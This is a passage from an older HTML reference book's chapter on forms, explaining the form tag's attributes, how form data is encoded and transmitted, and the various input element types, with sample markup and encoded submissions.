CLASS (Netscape) (Internet Explorer)
ENCTYPE
METHOD
NAME (Netscape)
ONRESET (Netscape)
ONSUBMIT (Netscape) (Internet Explorer)
STYLE (Netscape) (Internet Explorer)
TARGET (Netscape) (Internet Explorer)

End tag:

</form>; never omitted

Contains:

form_content

Used in:

block

Browsers flow the special form elements into the containing paragraphs as if they were small images embedded into the text. There aren't any special layout rules for form elements, so you need to use other HTML elements, like the <br> and <p> tags, to control the placement of elements within the text flow. [the section called "The <p> Tag"] [the section called "The <br> Tag"]

All of the form elements within a <form> tag comprise a single form. The browser sends all of the values of these elements--blank, default, or user-modified--when the user submits the form to the server.

You must define at least two special form attributes, which provide the name of the form's processing server and the method by which the parameters are to be sent to the server. A third, optional attribute lets you change how the parameters get encoded for secure transmission over the network.

The action attribute

The required action attribute for the <form> tag gives the URL of the application that is to receive and process the form's data.

Most webmasters keep their forms-processing applications in a special directory on their web server, usually named cgi-bin, which stands for Common Gateway Interface binaries.[2] Keeping these special forms-processing programs and applications in one directory makes it easier to manage and secure the server.

[2] The Common Gateway Interface (CGI) defines the protocol by which servers interact with programs that process form data.

A typical <form> tag with the action attribute looks like this:

<form action="http://www.kumquat.com/cgi-bin/update">
...
</form>

The example URL tells the browser to contact the server named www.kumquat.com and pass along the user's form values to the application named update located in the cgi-bin directory.

In general, if you see a URL that references a document in a directory named cgi-bin, you can be pretty sure that the document is actually an application that creates the desired page dynamically each time it's invoked.

The enctype attribute

The browser specially encodes the form's data before it passes that data to the server so it does not become scrambled or corrupted during the transmission. It is up to the server to either decode the parameters or to pass them, still encoded, to the application.

The standard encoding format is the Internet Media Type named "application/x-www-form-urlencoded." You can change that encoding with the optional enctype attribute in the <form> tag. The only optional encoding formats currently supported are "multipart/form-data" and "text/plain."

The multipart/form-data alternative is required for those forms that contain file-selection fields for upload by the user. The text/plain format should be used in conjunction with a mailto URL in the action attribute for sending forms to an email address instead of a server. Unless your forms need file-selection fields or you must use a mailto URL in the action attribute, you probably should ignore this attribute and simply rely upon the browser and your processing server to use the default encoding type. [the section called "File selection fields"]

The application/x-www-form-urlencoded encoding

The standard encoding-- application/x-www-form-urlencoded--converts any spaces in the form values to a plus sign (+), nonalphanumeric characters into a percent sign (%) followed by two hexadecimal digits that are the ASCII code of the character, and the line breaks in multiline form data into %0D%0A.

The standard encoding also includes a name for each field in the form. (A "field" is a discrete element in the form, whose value can be nearly anything, from a single number to several lines of text--the user's address, for example.) If there is more than one value in the field, the values are separated by ampersands.

For example, here's what the browser sends to the server after the user fills out a form with two input fields labeled name and address; the former field has just one line of text, while the latter field has several lines of input:

name=O'Reilly+and+Associates&address=103+Morris+Street%0D%0A
Sebastopol,%0D%0ACA+95472

We've broken the value into two lines for clarity in this book, but in reality, the browser sends the data in an unbroken string. The name field is "O'Reilly and Associates" and the value of the address field, complete with embedded newline characters, is:

103 Morris Street
Sebastopol,
CA 95472

The multipart/form-data encoding

The multipart/form-data encoding encapsulates the fields in the form as several parts of a single MIME-compatible compound document. Each field has its own section in the resulting file, set off by a standard delimiter. Within each section, one or more header lines define the name of the field, followed by one or more lines containing the value of the field. Since the value part of each section can contain binary data or otherwise unprintable characters, no character conversion or encoding occurs within the transmitted data.

This encoding format is by nature more verbose and longer than the application/x-www-form-urlencoded format. As such, it can only be used when the method attribute of the <form> tag is set to post, as described below.

A simple example makes it easy to understand this format. Here's our previous example, when transmitted as multipart/form-data:

------------------------------146931364513459
Content-Disposition: form-data; name="name"

O'Reilly and Associates
------------------------------146931364513459
Content-Disposition: form-data; name="address"

103 Morris Street
Sebastopol,
CA 95472
------------------------------146931364513459--

The first line of the transmission defines the delimiter that will appear before each section of the document. It always consists of thirty dashes and a long random number that distinguishes it from other text that might appear in actual field values.

The next lines contain the header fields for the first section. There will always be a Content-Disposition field indicating that this section contains form data and providing the name of the form element whose value is in this section. You may see other header fields; in particular, some file-selection fields include a Content-Type header field that indicates the type of data contained in the file being transmitted.

After the headers, there is a single blank line followed by the actual value of the field on one or more lines. The section concludes with a repeat of the delimiter line that started the transmission. Another section follows immediately, and the pattern repeats until all of the form parameters have been transmitted. The end of the transmission is indicated by an extra two dashes at the end of the last delimiter line.

As we pointed out earlier, use multipart/form-data encoding only when your form contains a file-selection field. Here's an example of how the transmission of a file-selection field might look:

------------------------------146931364513459
Content-Disposition: form-data; name="thefile"; filename="test"
Content-Type: text/plain

First line of the file
...
Last line of the file
------------------------------146931364513459--

The only notable difference is that the Content-Disposition field contains an extra element, filename, that defines the name of the file being transmitted. There might also be a Content-Type field to further describe the file's contents.

The text/plain encoding

Use this encoding only when you don't have access to a form-processing server and need to send the form information by email (the form's action attribute is a mailto URL; see 10.1.1.13). The conventional encodings are designed for computer consumption; text/plain was designed with people in mind.

In this encoding, each element in the form is placed on a single line, with the name and value separated by an equal sign. Returning to our name and address example, the form data would be returned as:

name=O'Reilly and Associates
address=103 Morris Street%0D%0ASebastopol,%0D%0ACA 95472

As you can see, the only characters still encoded in this form are the carriage return and line feed characters in multiline text input areas. Otherwise, the result is easily readable and generally parsable by simple tools.

The method attribute

The other required attribute for the <form> tag sets the method by which the browser sends the form's data to the server for processing. There are two ways: the POST method and the GET method.

With the POST method, the browser sends the data in two steps: the browser first contacts the form-processing server specified in the action attribute, and once contact is made, sends the data to the server in a separate transmission.

On the server side, POST-style applications are expected to read the parameters from a standard location once they begin execution. Once read, the parameters must be decoded before the application can use the form values. Your particular server will define exactly how your POST-style applications can expect to receive their parameters.

The GET method, on the other hand, contacts the form-processing server and sends the form data in a single transmission step: the browser appends the data to the form's action URL, separated by the question mark character.

The common browsers transmit the form information by either method; some servers receive the form data by only one or the other method. You indicate which of the two methods--POST or GET--your forms-processing server handles with the method attribute in the <form> tag. Here's the complete tag including the GET transmission method attribute for the previous form example:

<form method=GET
   action="http://www.kumquat.com/cgi-bin/update">
  ...
</form>

Which one to use if your form-processing server supports both the POST and GET methods? Here are some rules of thumb:

  • For best form-transmission performance, send small forms with a few short fields via the GET method.

  • Because some server operating systems limit the number and length of command-line arguments that can be passed to an application at once, use the POST method to send forms that have many fields, or ones that have long text fields.

  • If you are inexperienced in writing server-side form-processing applications, choose GET. The extra steps involved in reading and decoding POST-style transmitted parameters, while not too difficult, may be more work than you are willing to tackle.

  • If security is an issue, choose POST. GET places the form parameters directly in the application URL where they easily can be captured by network sniffers or extracted from a server log file. If the parameters contain sensitive information like credit card numbers, you may be compromising your users without their knowledge. While POST applications are not without their security holes, they can at least take advantage of encryption when transmitting the parameters as a separate transaction with the server.

If you want to invoke the server-side application outside the realm of a form, including passing it parameters, use GET because it lets you include form-like parameters as part of a URL. POST-style applications, on the other hand, expect an extra transmission from the browser after the URL, something you can't do as part of a conventional <a> tag.

Passing parameters explicitly

The foregoing bit of advice warrants some explanation. Suppose you had a simple form with two elements named x and y. When the values of these elements are encoded, they look like this:

x=27&y=33

If the form uses method=GET, the URL used to reference the server-side application looks something like this:

http://www.kumquat.com/cgi-bin/update?x=27&y=33

There is nothing to keep you from creating a conventional <a> tag that invokes the form with any parameter value you desire, like so:

<a href="http://www.kumquat.com/cgi-bin/update?x=19&y=104">

The only hitch is that the ampersand that separates the parameters is also the character-entity insertion character. When placed within the href attribute of the <a> tag, the ampersand will cause the browser to replace the characters following it with a corresponding character entity.

To keep this from happening, you must replace the literal ampersand with its entity equivalent, either &#38; or &amp;. With this substitution, our example of the nonform reference to the server-side application looks like this:

<a href="http://www.kumquat.com/cgi-bin/update?x=19&amp;y=104">

Because of the potential confusion that arises from having to escape the ampersands in the URL, server implementors are encouraged to also accept the semicolon as a parameter separator. You might want to check your server's documentation to see if they honor this convention. See Appendix E, Character Entities.

The name attribute

The name attribute is used to associate a name with the form. This name can subsequently be used in JavaScript code to reference and manipulate the form and its input elements. Unless you plan to control elements of your form with JavaScript, it is not necessary to include the name attribute. This attribute is supported only by Netscape.

The onsubmit and onreset attributes

The onSubmit attribute for the <form> tag is a special JavaScript event handler built into the modern browsers. The value of the event handler is--enclosed in quotation marks--one or a sequence of semicolon-separated JavaScript expressions, methods, and function references that the browser executes just before it actually submits the data to the form-processing server or sends it to an email address. [the section called "JavaScript Event Handlers"]

You may use the onSubmit event for a variety of effects. The most popular is for a client-side form-verification program that scans the form data and prompts the user to complete one or more missing elements. Another popular and much simpler use is to inform users when a mailto URL form is being processed via email (see 10.1.1.13).

The onreset attribute is used just like the onsubmit attribute, except that the associated JavaScript code is only executed if the user presses a "Reset" button in the form. This attribute is supported only by Netscape.

The style and class attributes

The style attribute for the <form> tag creates an inline style for the elements enclosed by the tag, overriding any other style rule in effect. The class attribute lets you format the content according to a predefined class of the <form> tag; its value is the name of that class. [the section called "Inline Styles: The style Attribute"] [the section called "Style Classes"]

The actual effects of style with <form> are hard to predict, however. In general, style properties affect the body content--text, in particular--that you may include as part of the form's contents, but <form> styles do affect the display characteristics of the form elements.

For instance, you may create a special font face and background color style for the form. The form's text labels, but not the text inside a text input form element, will appear in the specified font face and background color. Similarly, the text labels you put beside a set of radio buttons will be in the form-specified style, but not radio buttons themselves.

The target attribute

With the advent of frames, it is possible to redirect the results of a form to another window or frame. Simply add the target attribute to your <form> tag and provide the name of the window or frame to receive the results.

Like the target attribute used in conjunction with the <a> tag, you can use a number of special names with the target attribute in the <form> tag to create a new window or to replace the contents of existing windows and frames. [the section called "The target Attribute for the <a> Tag"]

A simple form example

In a moment we'll examine each element of a form in detail. Let's first take a quick look at a simple example to see how forms are put together. This one (shown in Figure 10.1) gathers basic demographic information about a user:

<form method=POST action="http://www.kumquat.com/demo">
  Name:
    <input type=text name=name size=32 maxlength=80>
  <p>
  Sex:
    <input type=radio name=sex value="M"> Male
    <input type=radio name=sex value="F"> Female
  <p>
  Income:
    <select name=income size=1>
      <option>Under $25,000
      <option>$25,001 to $50,000
      <option>$50,001 and higher
    </select>
  <p>
  <input type=submit>
</form>

The first line of the example starts the form and indicates we'll be using the POST method for data transmission to the form-processing server. The form's user-input elements follow, each defined by an <input> tag and type attribute. There are three elements in the simple example, each contained within its own paragraph.

Figure 10.1: A simple form

[Graphic: Figure 10-1]

The first element is a conventional text entry field, letting the user type up to 80 characters, but displaying only 32 of them at a time. The next element is a multiple-choice option, which lets the user select only one of two radio buttons. This is followed by a pull-down menu for choosing one of three options. The final element is a simple submission button, which, when clicked by the user, sets the form's processing in motion.

Using mailto to collect form data (Netscape)

It is becoming increasingly common to find authors who have no access to a web server other than to upload their HTML documents. Consequently, they have no ability to create or manage CGI programs. In fact, some providers, particularly those hosting space for hundreds or even thousands of sites, typically disable CGI services to limit their server's processing load or as a security precaution. If you are working with one of these sites, forms become a difficult, if not impossible, proposition.

All is not lost: You can use a mailto URL as the value of the form's action attribute. The Netscape browser will automatically email the various form parameters and values to the address supplied in the URL. The recipient of the mail can then process the form and take action accordingly.

For example, by substituting the following for the <form> tag in our previous example:

<form method=POST action="mailto:chuckandbill@ora.com"
enctype="text/plain"
    onSubmit="window.alert('This form is being sent by email, even
    though it may not appear that anything has happened...')">

the form data gets emailed to chuckandbill when submitted by the user, not otherwise processed by a server. Notice, too, that we have a simple JavaScript alert message that appears when the browser gets ready to send out the form data. The alert tells the user not to expect confirmation that the form data was sent (see Figure 10.2). Also, unless disabled by the user or if you omit the method=POST attribute, the browser typically will warn the user that they are about to send unencrypted ("text/plain") and thereby unsecure information over the network, and gives them the option to cancel the submission. Otherwise, the form is sent via email without incident or notification.

Figure 10.2: A warning about a mailto form submission

[Graphic: Figure 10-2]

The body of the resulting emailed form message looks something like this:

name=Bozo the Clown
sex=M
 income=$50,001 and higher

If you choose to use the mailto form capability, there are several problems you may have to deal with:

  • Your forms won't work on browsers that don't support a mailto URL as a form action.

  • Some browsers, such as Internet Explorer, do not properly place the form data into the email message body and may even open an email dialog, confusing the user.

  • Unlike with most form CGI scripts, a mailto doesn't present the user with a confirmation page to assure them that their form has been processed. After executing the mailto form, the user is left looking at the form, as if nothing had happened. (Use JavaScript to overcome this dilemma with an onSubmit or onClick event handler.) [the section called "JavaScript Event Handlers"]

  • Your data may arrive in a form that is difficult, if not impossible, to read, unless you use a readable enctype, such as text/plain.

In spite of all this, mailto forms present an attractive alternative to the web author constrained by a restricted server. Our advice: use CGI scripts if at all possible, and fall back to mailto URLs if all else fails.

Previous | Home | Next
Applying Styles to Documents | Book Index | Form Input Elements
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 10] 10.2 Form Input Elements

HTML: The Definitive Guide

Previous Chapter 10
Forms 		Next

10.2 Form Input Elements

You create most form elements with the <input> tag.

The <input> Tag

Use the <input> tag to define any one of a number of common form elements, including text fields, multiple-choice lists, clickable images, and submission buttons. Although there are many attributes for this tag, only the type and name attributes are required for each element (only type for a submission or reset button; see following explanation), and as we describe in detail later, each type of input element uses only a subset of the allowed attributes. Additional <input> attributes may be required based upon which type of form element you specify. Table 10.1 summarizes the various form <input> types and attributes, required and optional.

[Graphic: Figure from the text]

<input>
Function:

Create an input element within a form

Attributes:

ACCEPT
ALIGN
BORDER (Netscape)
CLASS (Netscape) (Internet Explorer)
CHECKED
MAXLENGTH
NAME
ONBLUR (Netscape) (Internet Explorer)
ONCHANGE (Netscape) (Internet Explorer)
ONCLICK (Netscape) (Internet Explorer)
ONFOCUS (Netscape) (Internet Explorer)
ONSELECT (Netscape) (Internet Explorer)
SIZE
SRC
STYLE (Netscape) (Internet Explorer)
TYPE
VALUE

End tag:

None

Contains:

Nothing

Used in:

form_content

You select the type of element to include in the form with the <input> tag's required type attribute, and you name the field (used during the form-submission process to the server; see above) with the name attribute. Although the value of the name attribute is technically an arbitrary string, we recommend you use a name without embedded spaces or punctuation. If you stick to just letters and numbers (but no leading digits) and represent spaces with the underscore (_) character, you'll have fewer problems. For example, "cost_in_dollars" and "overhead_percentage" are good choices for element names; "$cost" and "overhead %" might cause problems.

Text Fields in Forms

The HTML standard lets you include three types of text entry fields in your forms: a conventional text entry field, a masked field for secure data entry, and a field that names a file to be transmitted as part of your form data. The first two are available with all browsers and accept size, maxlength, and value attributes. The file-selection field accepts only the size and maxlength attributes.

Conventional text fields

The most useful as well as the most common form input element is the text entry field. A text entry field appears in the browser window as an empty box on one line and accepts a single line of user input that becomes the value of the element when the user submits the form to the server. To create a text entry field inside a form in your HTML document, set the type of the <input> form element to text. Include a name attribute as well; it's required.

What constitutes a line of text differs among the various browsers. Fortunately, HTML gives us a way, with size and maxlength attributes, to dictate the width, in characters, of the text input display box, and how many total characters to accept from the user, respectively. The value for either attribute is an integer equal to the maximum number of characters you'll allow the user to see and type in the field. If maxlength exceeds size, then text scrolls back and forth within the text entry box. If maxlength is smaller than size, there will be extra blank space in the text entry box to make up the difference between the two attributes.

The default value for size is dependent upon the browser; the default value for maxlength is unlimited. We recommend you set them yourself. Adjust the size attribute so that the text entry box does not extend beyond the right margin of a typical browser window (about 60 characters with a very short prompt). Set maxlength to a reasonable number of characters; for example, 2 for state abbreviations, 12 for phone numbers, and so on.

A text entry field is usually blank at first until the user types something into it. You may, however, specify an initial default value for the field with the value attribute. The user may modify the default, of course. If the user presses a form's reset button, the value of the field is reset to this default value. [the section called "Reset buttons"]

These are all valid text entry fields:

<input type=text name=comments>
<input type=text name=zipcode size=10 maxlength=10>
<input type=text name=address size=30 maxlength=256>
<input type=text name=rate size=3 maxlength=3 value="100">

The first example creates a text entry field set to the browser's default width and maximum length. As we argue above, this is not a good idea because defaults vary widely among browsers, and your form layout is sure to look bad with some of them. Rather, fix the width and maximum number of acceptable input characters as we do in the second example: it lets the user type in up to ten characters inside an input box ten characters wide. Its value will be sent to the server with the name "zipcode" when the user submits the form.

The third example field tells the browser to display a 30-character-wide text input box into which the user may type up to 256 characters. The browser automatically scrolls text inside the input box to expose the extra characters.

The last text input field is three characters wide, lets the user type in only three characters, and sets its initial value to 100.

Notice in the second and fourth example fields, it is implied that certain kinds of data are to be entered by the user--a postal code or a numeric rate, respectively. Except for limiting how many, HTML provides no way for you to dictate what characters may be typed into a text input field. For instance, in the last example field, the user may type "ABC" even though you intend it to be a number less than 1,000. Your server-side application must trap erroneous or mistaken input, as well as check for incomplete forms, and send the appropriate error message to the user when things aren't right. That can be a tedious process, so we emphasize again, provide clear and precise instructions and prompts. Make sure your forms tell users what kinds of input you expect from them, thereby reducing the number of mistakes they may make when filling it out.

Masked text fields

Like the Lone Ranger, the mask is on the good guys in a masked text field. It behaves just like a conventional text field in a form, except that the user-typed characters don't appear onscreen. Rather, the browser obscures the characters in a masked text to keep such things as passwords and other sensitive codes from prying eyes.

To create a masked text field, set the value of the type attribute to password. All other attributes and semantics of the conventional text field apply to the masked field. Hence, you must provide a name, and you may (we recommend it) specify a size and maxlength for the field, as well as an initial value.

Don't be misled: a masked text field is not all that secure. The typed-in value is only obscured onscreen; the browser transmits it unencrypted when the form is submitted to the server. So, while prying eyes may not see them onscreen, devious bad guys may steal the information electronically.

file selection fields

File selection fields

As its name implies, the field lets users select a file stored on their computer and send it to the server when they submit the form. Although part of the HTML 3.2 standard and documented by Microsoft as being supported, file-selection fields do not work in Internet Explorer 3.0. They do work in Netscape.

The browser presents the file-selection form field to the user like other text fields. With Netscape, it's accompanied by a button labeled "Browse" to its right. Users either type the pathname directly as text into the field or, with the Browse option, select the name of a locally stored file from a system-specific dialog box.

Create a file-selection field in a form by setting the value of the type attribute to file. Like other text fields, the size and maxlength of a file-selection field should be set to appropriate values, with the browser creating a field 20 characters wide, if not otherwise directed. Since file and directory names differ widely among systems, it makes no sense to provide a default value for this field. As such, the value attribute should not be used with this kind of text field.

The Browse button associated with Netscape's file-selection field opens a platform-specific file-selection dialog that allows users to select a value for the field. In this case, the entire pathname of the selected file is placed into the field, even if the length of that pathname exceeds the field's specified maxlength.

Use the accept attribute to constrain the types of files that the browser lets the user select. It's value is a comma-separated list of MIME encodings; users can only select files whose type matches one of those in the list. For example, to restrict the selection to images, you might add accept="image/*" to the file selection <input> tag.

Unlike other form input elements, the file-selection field only works correctly with a specific form data encoding and transmission method. If you include one or more file-selection fields in your form, you must set the enctype attribute of the <form> tag to multipart/form-data and the <form> tag's method attribute to post. Otherwise, the file-selection field behaves like a regular text field, transmitting its value (that is, the file's pathname) to the server instead of the contents of the file itself.

This is all easier than it may sound. For example, here is a form that collects a person's name and favorite file:

<form enctype="multipart/form-data" method=post
    action="cgi-bin/save_file">
Your name: <input type=text size=20 name=the_name>
<p>
Your favorite file: <input type=file size=20 name=fav_file>
</form>

The data transmitted from the browser to the server for this example form has two parts. The first contains the value for the name field, and the second contains the name and contents of the specified file:

-----------------------------6099238414674
Content-Disposition: form-data; name="the_name"

One line of text field contents
-----------------------------6099238414674
Content-Disposition: form-data; name="fav_file"; filename="abc"

First line of file
...
Last line of file
-----------------------------6099238414674--

The browsers don't check that a valid file has been specified by the user. If no file is specified, the filename portion of the Content-Disposition header will be empty. If the file doesn't exist, its name appears in the filename subheader, but there will be no Content-Type header or subsequent lines of file content. Valid files may contain nonprintable or binary data; there is no way to restrict user-selectable file types. In light of these potential problems, the form-processing application on the server should be robust enough to handle missing files, erroneous files, extremely large files, and files with unusual or unexpected formats.

Checkboxes

The checkbox element gives users a way to quickly and easily select or deselect an item in your form. Checkboxes may also be grouped to create a set of choices, any of which may be selected or deselected by the user.

Create individual checkboxes by setting the type attribute for each <input> tag to checkbox. Include the required name and value attributes. If the item is selected, it will contribute a value when the form is submitted. If it is not selected, that element will not contribute a value. The optional checked attribute (no value) tells the browser to display a checked checkbox and include the value when submitting the form to the server unless the user specifically clicks the mouse to deselect (uncheck) the box.

The browsers include the value of selected (checked) checkboxes with other form parameters when they are submitted to the server. The value of the checked checkbox is the text string you specify in the required value attribute. For example:

<form>
  What pets do you own?
  <p>
    <input type=checkbox name=pets value="dog"> Dog
  <br>
    <input type=checkbox checked name=pets value="cat"> Cat
  <br>
    <input type=checkbox name=pets value="bird"> Bird
  <br>
    <input type=checkbox name=pets value="fish"> Fish
</form>

creates a checkbox group as shown in Figure 10.3.

Figure 10.3: A checkbox group

[Graphic: Figure 10-3]

Although part of the group, each checkbox element appears as a separate choice onscreen. Notice too, with all due respect to dog, bird, and fish lovers, that we've preselected the cat checkbox with the checked attribute in its tag. We've also provided text labels; the similar value attributes don't appear in the browser's window, but are the values included in the form's parameter list if the checkbox is selected and the form is submitted to the server by the user. Also, you need to use paragraph or line-break tags to control the layout of your checkbox group, as you do for other form elements.

In the example, if "Cat" and "Fish" are checked when the form is submitted, the values included in the parameter list sent to the server would be:

pets=cat
pets=fish

Radio Buttons

Radio-button form elements are similar in behavior to checkboxes, except that only one in the group may be selected by the user.[3] Create a radio button by setting the type attribute of the <input> element to radio. Like checkbox elements, radio buttons each require a name and value attribute. Radio buttons with the same name are members of a group. One of them may be initially checked by including the checked attribute with that element. If no element in the group is checked, the browser automatically checks the first element in the group.

[3] Some of us are old enough, while not yet senile, to recall when automobile radios had mechanical pushbuttons for selecting a station. Pushing in one button popped out the previously depressed one, implementing a mechanical one-of-many choice mechanism.

You should give each radio button element a different value, so the server can sort them out after submission of the form.

Here's the previous example reworked so that now you get to choose only one animal as a favorite pet (see Figure 10.4):

<form>
  Which type of animal is your favorite pet?
  <p>
    <input type=radio name=favorite value="dog"> Dog
  <br>
    <input type=radio checked name=favorite value="cat"> Cat
  <br>
    <input type=radio name=favorite value="bird"> Bird
  <br>
    <input type=radio name=favorite value="fish"> Fish
</form>

Figure 10.4: Radio buttons allow only one selection per group

[Graphic: Figure 10-4]

Again, like the previous example with checkboxes, we've tipped our hat toward felines, making the "Cat" radio button the default choice. If you select an alternative--"Bird," for instance--the browser automatically deselects "Cat." When the form is submitted to the server, the browser includes only one value with the name "favorite" in the list of form parameters; favorite=bird, if that was your choice.

Since one of the elements in a group of radio buttons is always selected, it makes no sense to create a single radio button; they should appear in your documents as groups of two or more. (Use checkboxes for on/off, yes/no types of form elements.)

Action Buttons

Although the terminology is potentially confusing, there is another class of buttons for HTML forms. Unlike the radio buttons and checkboxes described above, these special types of <input> form elements act immediately, their effects cannot be reversed, and they affect the entire contents of the form, not just the value of a single field. These "action" buttons (for lack of a better term) include submit, reset, regular, and clickable image buttons. When selected by the user, both the submit and image buttons cause the browser to submit all of the form's parameters to the form-processing server. A regular button does not submit the form, but can be used to invoke JavaScript code to manipulate or validate the form. The reset button acts locally to return a partially filled-out form to its original (default) state. [the section called "JavaScript Event Handlers"]

Submission buttons

The submit button (<input type=submit>) does what its name implies, setting in motion the form's submission to the server from the browser. You may have more than one submit button in a form. You may also include name and value attributes with the submit type of input form button.

With the simplest submit button (that without a name or value attribute), the browser displays a small rectangle or oval with the default label "Submit" (see Figure 10.1). Otherwise, the browser will label the button with the text you include with the tag's value attribute. If you provide a name attribute, the value attribute for the submit button will be added to the parameter list the browser sends along to the server. That's good, because it gives you a way to identify which button in a form was pressed, letting you process any one of several different forms with a single form-processing application.

The following are all valid submission buttons:

<input type=submit>
<input type=submit value="Order Kumquats">
<input type=submit value="Ship Overnight" name="ship_style">

The first one is also the simplest: the browser displays a button, labeled "Submit," which activates the form-processing sequence when clicked by the user. It does not add an element to the parameter list that the browser passes to the form-processing server and application.

The second example button has the value attribute that makes the displayed button label "Order Kumquats," but like the first example, does not include the button's value in the form's parameter list.

The last example sets the button label and makes it part of the form's parameter list. When clicked by the user, that last example of the submission button adds the parameter ship_style="Ship Overnight" to the form's parameter list.

reset buttons

Reset buttons

The reset type of form <input> button is nearly self-explanatory: it lets the user reset--erase or set to some default value--all elements in the form. Unlike the other buttons, a reset button does not initiate form processing. Instead, the browser does the work of resetting the form elements. The server never knows (or cares, for that matter) if or when the user might have pressed a reset button.

By default, the browser displays a reset button with the label "Reset." You can change that by specifying a value attribute with your own button label.

Here are two sample reset buttons:

<input type=reset>
<input type=reset value="Use Defaults">

The first one creates a reset button labeled "Reset"; the browser labels the second example reset button with "Use Defaults." They both initiate the same reset response in the browser.

Custom image buttons

The image type of <input> form element creates a custom button that is a "clickable" image. It's a special button made out of your specified image that, when clicked by the user, tells the browser to submit the form to the server, and includes the x,y coordinates of the mouse pointer in the form's parameter list, much like the mouse-sensitive image maps we discuss in Chapter 7, Links and Webs. Image buttons require a src attribute with the URL of the image file, and you can include a name attribute. You may also use align and border (Netscape only) attributes to control image alignment within the current line of text and the width of the frame that Netscape places around the image, respectively, much like the align and border attributes for the <img> tag (Internet Explorer doesn't border form <input> images). Interestingly, none of the JavaScript event handlers work with this type of form element, despite what the manufacturer's documentation says--not even onClick, which you might expect, since the image acts like the submit input type.

Here are a couple of valid image buttons:

<input type=image src="pics/map.gif" name=map>
<input type=image src="pics/xmap.gif" align=top name=map>

The browser displays the designated image within the form's content flow. The second button's image will be aligned with the top of the adjacent text, as specified by the align attribute. Some browsers (Netscape, for instance) also add a border, as it does when an image is part of an anchor (<a> tag), to signal that the image is a form button.

When the user clicks the image, the browser sends the horizontal offset, in pixels, of the mouse from the left edge of the image and the vertical offset from the top edge of the image to the server. These values are assigned the name of the image as specified with the name attribute, followed by ".x" and ".y," respectively. Thus, if someone clicked the image specified above, the browser would send parameters named map.x and map.y to the server.

Image buttons behave much like mouse-sensitive image maps, and, like the programs that process image maps, your form-processing application may use the x,y mouse-pointer parameters to choose a special course of action. You should use an image button when you need additional form information to process the user's request. If an image map of links is all you need, use a mouse-sensitive image map. Mouse-sensitive images also have the added benefit of providing server-side support for automatic detection of shape selection within the image, letting you deal with the image as a selectable collection of shapes. Buttons with images require you to write code that determines where the user clicked on the image and how this position can be translated to an appropriate action by the server.

Regular buttons

Using the <input type=button> tag, you can create a button that can be clicked by the user but that does not submit or reset the form. The value attribute can be used to set the label on the button; the name attribute, if specified, will cause the supplied value to be passed to the form processing script.

You might wonder what value such buttons provide. Little or none, unless you supply the onClick attribute, along with a snippet of JavaScript to be executed when the user clicks the button. Thus empowered, regular buttons can be used to validate form contents, update fields, manipulate the document, and initiate all sorts of client-side activity. [the section called "JavaScript Event Handlers"]

Multiple buttons in a single form

You can have several buttons of the same or different types in a single form. Even simple forms have both reset and submit buttons, for example. To distinguish between them, make sure each has a different value attribute, which the browser uses for the button label. Depending on the way you program the form-processing application, you might also make the name of each button different, but it is usually easier to name all similarly acting buttons the same and let the button handling subroutine sort them out by value. For instance:

<input type=submit name=action value="Add">
<input type=submit name=action value="Delete">
<input type=submit name=action value="Change">
<input type=submit name=action value="Cancel">

When the user selects one of these example buttons, a form parameter named action will be sent to the server. The value of this parameter will be one of the button names. The server-side application gets the value and behaves accordingly.

Since an image button doesn't have a value attribute, the only way to distinguish between several image buttons on a single form is to ensure they all have different names.

Hidden Fields

The last type of form input element we describe in this chapter is hidden from view. No, we're not trying to conceal anything. It's a way to embed information into your forms that cannot be ignored or altered by the browser or user. Rather, the <input type=hidden> tag's required name and value attributes automatically get included in the submitted form's parameter list. These serve to label the form and can be invaluable when sorting out different forms or form versions from a collection of submitted and saved forms.

Another use for hidden fields is to manage user/server interactions. For instance, it helps the server to know that the current form has come from a person who made a similar request a few moments ago. Normally, the server does not retain this information and each transaction between the server and client is completely independent from all other transactions.

For example, the first form submitted by the user might have asked for some basic information, such as the user's name and where they live. Based on that initial contact, the server might create a second form asking more specific questions of the user. Since it is tedious for users to re-enter the same basic information from the first form, the server can be programmed to put those values in the second form in hidden fields. When the second form comes back, all the important information from both forms is there, and the second form can be matched to the first one, if necessary.

Hidden fields may also direct the server towards some specific action. For example, you might embed the hidden field:

<input type=hidden name=action value=change>

Therefore, if you have one server-side application that handles the processing of several forms, each form might contain a different action code to help that server application sort things out.

The style and class Attributes

The style attribute for the <input> tag creates an inline style for the elements enclosed by the tag, overriding any other style rule in effect. The class attribute lets you format the content according to a predefined class of the <input> tag; its value is the name of that class. The style-conscious browsers cannot distinguish between the various input types, so we recommend that if you use style classes at all, use them with the various form input types. However, be aware that the style properties usually don't affect the appearance of the form element itself.

For instance, you may specify that a text input element should have a blue background and use the Arial typeface:

<input type=text name=name style="background: blue; font-family: Arial">

That doesn't mean it will work. A thin border around the text input area will be blue, but the text input box itself will have a white background, and the input text will appear in the default typeface, not in Arial. [the section called "Inline Styles: The style Attribute"] [the section called "Style Classes"]

The notab and taborder Attributes

By default, every element (except hidden elements) is part of the form's tab order. As the user presses the tab key, the browser shifts the input focus from element to element in the form. For most browsers, the order of the elements in the tab order matches the order of the elements within the form tag. With Internet Explorer, you can explicitly control which elements are part of the form's tab order, and the position of those elements within the tab order.

To exclude an element from the tab order, add the notab attribute to the <input> tag. The element will be skipped when the user tabs around the form.

To reposition an element within the tab order, use the taborder attribute. The value of the attribute is the element's desired position in the tab order. If you really want to change a form's tab order, we suggest you include the taborder attribute with every element in the form, with an appropriate value for each element. In this way, you'll be sure to place every element explicitly in the tab order, and there will be no surprises when the user tabs through the form.

Form <input> Event Handlers

JavaScript browsers support five event handlers for the various <input> tag types. The onClick attribute is for when the user clicks a checkbox, radio, reset, or submit button.[4] Use the onSelect, onFocus, onBlur, and onChange event handlers for form text input-related types (text, password, and file) for when the user selects a form input text area to type in some information, moves the mouse into the text input box, moves away from the text input box, and has changed the value of the text, respectively.

[4] Interestingly, the image type of input button does not support any of the JavaScript event handlers; not even onClick, which is supported by the related submit and reset types, nor any of the event handlers that can be used with the <img> tag.

The value of the <input> event handler attribute is--enclosed in quotation marks--one or a sequence of semicolon-separated JavaScript expressions, methods, and function references that the browser executes when the event occurs. For example, you might include an onClick event with the Submit button; it calls a JavaScript routine that verifies the form is completely filled out before it is submitted over the network to a processing server. Other handlers might compute a running total for items checked on a shopping list, for example. See 13.3.3 for more information about JavaScript and event handlers.

Previous | Home | Next
Form Fundamentals | Book Index | Multiline Text Areas
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


